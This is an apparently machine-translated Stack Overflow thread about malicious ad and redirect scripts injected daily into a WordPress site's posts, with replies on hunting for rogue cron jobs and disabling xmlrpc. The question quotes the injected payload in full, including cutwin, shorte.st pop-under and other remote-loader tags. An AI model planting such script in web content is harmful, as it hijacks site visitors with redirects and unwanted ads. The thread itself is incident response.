【问题标题】:Backdoor code injection in wordpress database - how to remove - better still how to fix?wordpress 数据库中的后门代码注入 - 如何删除 - 更好的是如何修复?
【发布时间】:2025-12-13 03:05:03
【问题描述】:

每天左右,后门代码都会被添加(注入?)到 wp_posts - post_content 中所有行的末尾。

Wordfence 只拾取条目 cutwin 并提醒我 - 它不会清理它。我还尝试了其他 WP 反恶意软件插件,但均无效。我目前所知道的只是通过在'cutwin'上使用WP搜索和替换来中性化它,替换为'example',然后煞费苦心地逐行删除代码。表中有 113 个条目,这很慢。我的问题是:

1) 谁能给我 SQL 代码,我可以将其放入 phpmyadmin 中以快速从 wp_posts - post_content 中的所有行中删除它?找到第一行的脚本(见下文)并删除它以及之后的所有内容都可以解决问题,但我自己不知道如何编写代码。

2) 有谁知道是什么原因造成的以及如何摆脱它?

主题:Generatepress

使用的插件: Akismet 反垃圾邮件, 反恶意软件安全和蛮力防火墙, 更好的搜索替换, 元素, 元素专业版, 全科医生保费, 超级菜单, UpdraftPlus - 备份/恢复, 使用任何字体, Wordfence 安全, WP控制, WP火箭, WP 糊涂, WP-Sweep

恶意代码如下。

非常感谢, 迈克尔

<script type="text/javascript">
        var adlinkfly_url = 'https://cutwin.com/';
        var adlinkfly_api_token = 'f6624368d190e8c1819f49dc4d5fcb633a4d9641';
        var adlinkfly_advert = 2;
        var adlinkfly_exclude_domains = ['example.com', 'yoursite.com'];
    </script>
    <script src='//cutwin.com/js/full-page-script.js'></script>
    <script type="text/javascript" src="//go.pub2srv.com/apu.php?zoneid=683723"></script><script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=683724&interactive=1&pushup=1"></script><script type="text/javascript">//<![CDATA[ 
(function() {
var configuration = {
"token": "11f0dc1ed8453e409e04d86bea962f34",
"exitScript": {
    "enabled": true
},
"popUnder": {
    "enabled": true
}
};
var script = document.createElement('script');
script.async = true;
script.src = '//cdn.shorte.st/link-converter.min.js';
script.onload = script.onreadystatechange = function () {var rs = this.readyState; if (rs && rs != 'complete' && rs != 'loaded') return; shortestMonetization(configuration);};
var entry = document.getElementsByTagName('script')[0];
entry.parentNode.insertBefore(script, entry);
})();
//]]></script><script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script>

【问题讨论】:

  • 代码是否相同?查看mysql str_replace。你会发现一个“查找和替换”查询。此外,列出您已安装的插件可能会有所帮助。很有可能你的问题就在那里。
  • 谢谢凯。每次都是一样的。标准查找和替换的问题在于代码跨越多行并且本身包含引号,因此失败。稍后我会添加上面的插件。
  • 您应该能够转义引号。您可以克隆该表并在其上运行实验。
  • 我会调查并尝试!
  • 嗨,我目前正在与完全相同的问题作斗争。有趣的是,除了 Wordfence 之外,您的网站和我的网站之间绝对没有相似之处......让我想知道 Wordfence 是否就是它现在被破解的全部内容。如果您找到罪魁祸首和/或解决方案,请发布!

标签: mysql wordpress phpmyadmin code-injection


【解决方案1】:

由于 cutwin 脚本是定期注入的,因此我首先怀疑恶意软件正在使用 cron 作业进行注入。 cron 作业存储在 wp_options 表中,option_name 为“cron”。不幸的是,这是一个序列化的值,很难直接读取。但是,您可以创建一个简单的 PHP 脚本来反序列化它。

<?php 
require('wp-load.php');
var_dump( get_option( 'cron' ) );
?>

我会将它保存在根目录(wp-load.php 所在的位置)并从您的浏览器运行它。输出如下所示:

Array
(
    [1522826738] => Array
        (
            [delete_expired_transients] => Array
                (
                    [40cd750bba9870f18aada2478b24840a] => Array
                        (
                            [schedule] => daily
                            [args] => Array
                                (
                                )

                            [interval] => 86400
                        )

                )

        )

    [1522826996] => Array
        (
            [wp_update_plugins] => Array
                (
                    [40cd750bba9870f18aada2478b24840a] => Array
                        (
                            [schedule] => twicedaily
                            [args] => Array
                                (
                                )

                            [interval] => 43200
                        )

                )

            [wp_update_themes] => Array
                (
                    [40cd750bba9870f18aada2478b24840a] => Array
                        (
                            [schedule] => twicedaily
                            [args] => Array
                                (
                                )

                            [interval] => 43200
                        )

                )

            [wp_version_check] => Array
                (
                    [40cd750bba9870f18aada2478b24840a] => Array
                        (
                            [schedule] => twicedaily
                            [args] => Array
                                (
                                )

                            [interval] => 43200
                        )

                )

        )

    [1522827110] => Array
        (
            [wp_scheduled_delete] => Array
                (
                    [40cd750bba9870f18aada2478b24840a] => Array
                        (
                            [schedule] => daily
                            [args] => Array
                                (
                                )

                            [interval] => 86400
                        )

                )

        )

    [1522828797] => Array
        (
            [wp_scheduled_auto_draft_delete] => Array
                (
                    [40cd750bba9870f18aada2478b24840a] => Array
                        (
                            [schedule] => daily
                            [args] => Array
                                (
                                )

                            [interval] => 86400
                        )

                )

        )

其中 'delete_expired_transients'、'wp_update_plugins'、'wp_update_themes'、... 是定期运行的 PHP 函数的名称。检查所有这些功能是否合理。如果恶意软件程序员技术娴熟,他/她会使用更隐藏的东西,但您应该检查没有奇怪的 cron 作业。

【讨论】:

  • 嗨。感谢您的洞察力。我遇到了完全相同的问题,但我并没有真正看到任何看起来不合适的 cron 函数。我想知道是否其他人可能有想法:
  • 一个熟练的恶意软件编写者可能不会使用 cron 作业,而是在每次 WordPress 运行时运行他/她的代码,但只会定期更新数据库,因此它似乎是一个 cron 作业。由于恶意软件必须更新数据库,因此应该可以通过监视所有 sql 更新和/或修改 WordPress 使用的 sql 例程来隔离该代码。
  • 非常感谢所有这些洋红色。我会检查一下。与此同时,我在 wp.config 中禁用了 xmprpc.php。
  • 我会补充一下 - 昨晚,在这个答案到来之前,我确实从 elementor extras 中删除了一个跟踪器 cron - 我已经删除了一个插件,但是cron 仍然存在,每天运行一次......所以这可能有些可疑。到目前为止,cutwin 还没有回来。或者,它可能已经禁用了 xmlrpc.php。这很容易 - 只需添加: add_filter('xmlrpc_enabled', '__return_false');到 wp-config.php 结尾
  • 我使用 WP-Crontrol 插件删除了 cron 条目。洋红色 - 我按照你的建议做了,它只是向我展示了与 WP Crontrol 中相同的条目。